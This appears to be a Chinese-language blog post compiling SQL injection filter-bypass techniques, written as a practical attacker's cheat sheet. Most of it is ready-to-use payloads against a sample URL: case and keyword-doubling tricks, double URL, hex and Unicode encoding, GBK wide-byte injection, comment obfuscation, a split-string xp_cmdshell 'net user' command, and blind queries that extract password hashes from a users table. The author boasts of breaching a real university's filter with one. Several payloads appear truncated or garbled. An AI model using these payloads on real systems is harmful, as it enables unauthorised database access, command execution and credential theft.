SQL注入過濾合集
前言:我們在進行sql注入的過程中進行會遇到各種sql過濾機制,它們對我們sql注入以及後續的滲透測試有著嚴重的干擾,所以我們今天從幾個角度對sql注入過濾進行一個整理。
1.大小寫繞過
大小寫繞過是最簡單的簡單的繞過方法,我們通過修改過濾關鍵詞的大小字母來繞過過濾。
www.aaa.com/index.php?id=1 uNIoN sELecT 1,2,3,4 --+
對於這種大小寫已經絕跡了,我們只能當成一種思路。
2.關鍵字重複寫入
我們在大小寫沒有作用的時候,我們可以使用把被過濾的關鍵字進行二次寫入來繞過過濾。
www.aaa.com/index.php?id=1 UNIunionON SELselectECT 1,2,3,4 --+
Advertisements
對於這個有時候過濾機制會過濾兩次三次,我們構建三次匹配或者四次匹配。
3.編碼繞過
(1).URL編碼
對於編碼也是我們經常使用的一種方法,我們經常用的URL編碼有:空格-->%20,單引號-->%27,左括弧-->%20,右括弧-->%29
www.aaa.com/index.php?id=1%252f%252a*/UNION%252f%252a/SELECT --+
有時候普通的URL編碼可能無法實現繞過不過存在某種情況URL編碼只進行了一次解碼過濾可以用兩次編碼繞過
(2).十六進位編碼編碼
對於十六進位的編碼也是我們在繞過的時候經常用的一種方法,一般我們可以使用hackbar的轉碼功能之間轉碼。
Advertisements
www.aaa.com/index.php?id=1 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) --+
對於轉碼我們分為單個詞轉碼和整句轉碼,我們經常用在一句話和一句話地址的轉碼上。
(3).Unicode編碼
Unicode編碼也是我們用的編碼之一,常見的uniode編碼有:
單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括弧:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括弧:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
www.aaa.com/index.php?id=10%D6'%20AND%201=2%23 --+
本條演示的一個雙位元組的注入,雙位元組注入是編碼注入中的一個主要知識點。
-當滿足兩個條件的時候:一 編碼為 GBK 二 魔術引號開啟,單引號被轉義。我們就可以使用雙位元組注入。
- GBK雙位元組編碼:一個漢字用兩個位元組表示,首位元組對應0x81-0xFE,尾位元組對應0x40-0xFE(除0x7F),剛好涵蓋了對應的編碼0x5C。(0x5c 即是十六進位的 \ 符號)
- 0xd5 0x5c 對應了漢字「誠」,於是 %d5%5c 經URL解碼後為「誠」。 (由0x 變為% 是 URL編碼導致)
- 當我們提交參數 %d5' ,經瀏覽器URL編碼後為%d5%27,再經PHP URL解碼後為 0xd50x27,再經PHP轉義後為0xd50x5c0x27,即就是在0x27(')之前插入了轉義符0x5c(\)。當MySQL採用GBK編碼連接時,0xd50x5c0x27 這一位元組序列就被MySQL作為GBK編碼理解:誠'。 0x27即是十六進位的 ' 單引號,這樣就吃掉了PHP的轉義符,從而突破了單引號轉義的限制。
- 固定用法:%d5%27 或 %d6%27(首位元組 的範圍要在 0x81--0xFE 之間)
4.註釋繞過
(1).普通註釋
註釋繞過應該是我們繞過過濾的好方法,我們經常用的過濾有://, -- , , #, --+,-- -, ;--a 等等
www.aaa.com/index.php?id=1 %55nION**/%53ElecT 1,2,3,4 --+
對於普通註釋已經不能滿足我們了,我們來看看其他的吧。
(2).內聯註釋
我們可以使用內聯註釋序列來創建SQL代碼段,雖然這些代碼看上去雖然在語法上有些怪異,但實際上卻非常有效,能夠避開多種過濾機制。
www.aaa.com/index.php?id=1%0Aall%0A%0A+1,2,3,4 --+
對這條注入我深有體會,我當時用這一句注入突破了國內某財經高校的過濾機制,簡直突破天際,但是也只能說有一定的針對性。
5.函數和特殊字元替換
當有些函數或命令被過濾機制檢測出來而無法使用的時候,我們可以使用與之等價或類似的代碼替代其使用。
1.函數和變數替換
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
(2).符號
and和or有可能不能使用可以試下&&和||能不能用,還有=不能使用的情況可以考慮嘗試<、>因為如果不小於又不大於那便是等於了,再看一下用得很多的空格可以使用 %20 %09 %0a %0b %0c %0d %a0 等來表示。
(3).特殊字元
1.使用反引號`,例如select `version()`,可以用來過空格和正則,特殊情況下還可以將其做註釋符用
2.神奇的"-+.",select+id-1+1.from users; 「+」是用於字元串連接的,」-」和」.」在此也用於連接,可以逃過空格和關鍵字過濾
3.@符號,select@^1.from users; @用於變數定義如@var_name,一個@表示用戶定義,@@表示系統變數
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過空格限制
6.其他繞過
--
相對傳統的方式我們更依賴於非傳統的方式,這些詭異的招式通過可以達到與眾不同的效果,畢竟過濾機制是人寫出來的,但普通人想不到的時候,大牛們寫的繞過就可以突破天際了。
關鍵字拆分
'se'+'lec'+'t'
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')
!和()' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
緩衝區溢出
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 --+
示例0xA*1000指0xA後面"A"重複1000次一般來說對應用軟體構成緩衝區溢出都需要較大的測試長度這裡1000隻做參考也許在有些情況下可能不需要這麼長也能溢出
其他繞過
有時候其他才是最有用的
+union+distinctROW+select+
UNION
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
+union+select
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
unionselect
union (/*! SeleCT */ 1,2,3)
+
union+/*!select*
+union+distinctROW+select+
-15+(uNioN)+(sElECt)
-15+(UnI)(oN)+(SeL)(ecT)+
id=1+UnIOnSeLect 1,2,3—
id=1+UNIunionON+SELselectECT 1,2,3—
id=1++ 1,2,3—
id=1 and (select 1)=(Select 0xAA 1000 more A』s)+UnIoN+SeLeCT 1,2,3—
id=1+union+select+1,2,3--
id=1+1,2,3
id=1+unionselectcolumnfromtable--
id=1+unionselect1,2,3--
id=-1 and (select 1)=(Select 0xAA*1000) 1,2,3,4,5,6—x
unionselectcolumnfromtable--
++1,2,3—
+1,2,3—
union+select+1,2,3—
1,2,3—
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
?page_id=null%0Aall%0A%0A+1,2,
?id=15++++1,version(),3,4,5,6,7--
id=1
總結
繞過的方法多種多樣,不過一般大部分的方法都會失效,所以我們要不斷整理收集,說到繞過就躲不開安全狗和雲鎖,這些安全軟體確實很頭疼,對此剛剛入門的我也是沒有辦法,所以只能待以後技術嫻熟一點進行探索吧。